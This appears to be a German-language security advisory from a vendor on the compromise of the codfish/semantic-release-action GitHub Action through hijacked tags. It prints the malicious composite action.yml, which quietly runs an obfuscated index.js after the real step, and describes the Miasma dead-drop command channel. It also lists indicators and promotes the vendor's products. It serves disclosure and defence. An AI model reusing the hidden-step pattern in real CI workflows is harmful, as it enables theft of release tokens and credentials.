Am 24. Juni 2026 wurde die codfish/semantic-release-action GitHub Action durch einen Imposter-Commit-Angriff kompromittiert. Ein Angreifer hat zwei bösartige Commits in das Repository force-gepusht und sechzehn Tags auf diese umgeleitet, einschließlich der schwebenden Hauptversions-Tags v2, v3, v4, und v5. Jeder Workflow, der die Action über einen dieser Tags referenziert, wird den Code des Angreifers bei seinem nächsten CI-Lauf ziehen und ausführen.
Diese Action ist seit 2019 der Standardweg, um semantic-release in GitHub Actions zu integrieren und hat über 100 GitHub-Sterne. Workflows, die sie für automatisierte Releases verwenden, besitzen fast immer einen GITHUB_TOKEN und häufig einen NPM_TOKEN mit Publish-Zugriff, was genau die Art von Zugriff ist, die ein Angreifer erlangen möchte.
Wie die Tags gekapert wurden
Git-Tags sind standardmäßig nicht geschützt. Jeder mit Push-Zugriff auf ein Repository kann einen Tag erzwingen, auf einen anderen Commit zu zeigen, und GitHub Actions löst eine Tag-Referenz in dem Moment auf, in dem ein Workflow ausgeführt wird. Das Verschieben eines Tags überschreibt rückwirkend jeden zukünftigen Lauf, der darauf verweist, ohne jegliche Benachrichtigung an die Person, die den Workflow geschrieben hat.
Der Angreifer nutzte dies gegen codfish/semantic-release-action in zwei Phasen. Der erste bösartige Commit umfasste fünfzehn Tags: v2.2.1, die gesamte v3-Linie (v3, v3.0.0 bis v3.5.0), die gesamte v4-Linie (v4, v4.0.0, v4.0.1), und die gesamte v5-Linie (v5, v5.0.0). Ein zweiter Commit ist ein direktes Kind des ersten und übernahm den v2 Tag. Beide Commits liefern einen byte-identischen index.js Payload, bestätigt durch Hash.
Keiner der Commits ist ein Vorgänger des Repository- Haupt Branch. Sie wurden als Waisen eingepfropft und dann so aufbereitet, dass sie bei einem schnellen git log Überfliegen keinen Verdacht erregen. Der erste Commit verwendet die Autorenidentität, das Datum und die Commit-Nachricht eines echten Commits vom 9. November 2023 wieder:
commit 5792aba0e2180b9b80b77644370a6889d5817456
Author: Chris O'Donnell <1666298+codfish@users.noreply.github.com>
Date: Thu Nov 9 16:49:48 2023 +0000
Merge pull request #195 from codfish/force-installDiese Metadaten sind echt und stammen aus einem legitimen Merge in der Projektgeschichte. Die Dateiinhalte wurden jedoch durch den bösartigen Payload ersetzt.
Was sich in action.yml
codfish/semantic-release-action ursprünglich als Docker-basierte Aktion ausgeführt, die einen Container aus dem Repository erstellt Dockerfile und aufrufend entrypoint.js. Die bösartigen Commits ersetzen action.yml durch eine Composite Action stattdessen:
runs:
using: composite
steps:
- uses: "codfish/semantic-release-action@8f9a58f2acdc190c356f79159b5de2548cdb63cd"
with:
branches: "${{ inputs.branches }}"
# ...remaining inputs passed through unchanged
- uses: "oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6"
if: always()
- name: Cleanup Action
if: always()
shell: bash
run: bun run $GITHUB_ACTION_PATH/index.jsDer erste Schritt ruft immer noch die echte, aktuelle codfish/semantic-release-action, auf einen sauberen Commit gepinnt, sodass die Aktion normal weiterfunktioniert und ein Workflow-Lauf erfolgreich aussieht. Die beiden darauf folgenden Schritte werden mit if: always(), sodass sie ausgelöst werden, egal ob der legitime Schritt erfolgreich ist, fehlschlägt oder übersprungen wird. Der zweite Schritt bindet oven-sh/setup-bun, eine echte und ansonsten unabhängige Drittanbieter-Aktion, ausschließlich um die Bun-Laufzeitumgebung auf den CI-Runner zu bringen. Der dritte Schritt führt die Payload aus, index.js, mit bun run.
Die ursprünglichen Dateien des Repositorys Dockerfile, entrypoint.js, und entrypoint.spec.js befinden sich immer noch im Baum dieses Commits. Sie werden einfach nicht mehr aufgerufen, da eine Composite Action sie vollständig ignoriert. Das Belassen der alten Dateien ist eine minimale Diff-Abdeckung. Jeder, der eine Dateiliste überfliegt, sieht den üblichen Inhalt der Aktion und nichts offensichtlich Fehlendes.
Die Payload
Der injizierte index.js ist 781.580 Bytes an obfuskiertem JavaScript, strukturiert als String-Array mit hex-kodierten Variablennamen, dem Ausgabestil eines typischen kommerziellen JavaScript-Obfuscators:
const _0x307419=_0x42e6;(function(_0xb5d033,_0x1d1124){const _0x23f080={_0x15a6a0:0xf9,_0x3d6efe:0x73a,...Im obfuskierten Codekörper befindet sich der String thebeautifulsnadsoftime, eine fast perfekte Übereinstimmung mit TheBeautifulSandsOfTime und weicht nur um einen vertauschten Buchstaben ab. Dieser String identifiziert einen der Dead-Drop-Kanäle, die vom Miasma-Toolkit zum Stehlen von Anmeldeinformationen verwendet werden, das am 10. Juni 2026 öffentlich geleakt wurde. Das Design von Miasma verzichtet auf einen traditionellen C2-Server. Anstatt die Angreiferinfrastruktur anzusprechen, durchsucht die Malware periodisch die öffentliche Commit-Such-API von GitHub nach diesem Marker-String. Wenn sie einen passenden Commit findet, behandelt sie die angehängte Payload als signierten Befehl und führt sie über eval(). Das gibt dem Operator eine Möglichkeit, jedem infizierten Runner frische Remote Code Execution zu liefern, ohne eigene Infrastruktur aufzubauen oder zu warten, und ohne den ausgehenden Netzwerkverkehr zu erzeugen, den die Egress-Überwachung normalerweise kennzeichnet.
Verbindung zur Miasma-Kampagne
Derselbe TheBeautifulSandsOfTime Marker erscheint bereits in Miasma-Kampagnenaktivität gegen npm-Pakete unter dem @redhat-cloud-services Scope und in mehreren anderen kompromittierten GitHub-Repositories, die mit demselben Toolkit-Leak verbunden sind. Sobald ein Framework zum Stehlen von Anmeldeinformationen öffentlich wird, verbreitet es sich tendenziell schnell, da jeder Operator es ohne eigene Tools ausführen kann. codfish/semantic-release-action passt zu diesem Muster, eine weitere Instanz desselben Toolkits erreicht ein neues Repository.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Nutzer sind, können Sie ein Konto erstellen und Ihre Repositories verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikidos Device Protection Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser-Erweiterungen, Code-Bibliotheken, IDE-Plugins und Build-Abhängigkeiten ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, fängt npm-, npx-, yarn-, pnpm- und pnpx-Befehle ab und prüft Pakete vor der Installation gegen Aikido Intel.
Indikatoren für Kompromittierung
Bösartige Commits
5792aba0e2180b9b80b77644370a6889d5817456(Tagsv2.2.1,v3,v3.0.0bisv3.5.0,v4,v4.0.0,v4.0.1,v5,v5.0.0)bcb6b1d409144318e8fad2171d6fe06d02299d1a(Tagv2)
Payload-Hash
index.js (beide bösartigen Commits): sha256 9f93d77d32833a515bc406c46da477142bb1ac2babeecb6aa42f98669a6db015
Weitere Indikatoren
- Dead-Drop-Marker-String:
thebeautifulsnadsoftime - Bun-Laufzeitumgebung eingebunden über
oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
Betroffene Tags
codfish/semantic-release-action@v2codfish/semantic-release-action@v2.2.1codfish/semantic-release-action@v3bisv3.5.0codfish/semantic-release-action@v4,v4.0.0,v4.0.1codfish/semantic-release-action@v5,v5.0.0
Als sauber bestätigt
codfish/semantic-release-action@v1.0.0bisv1.10.0codfish/semantic-release-action@v2.0.0

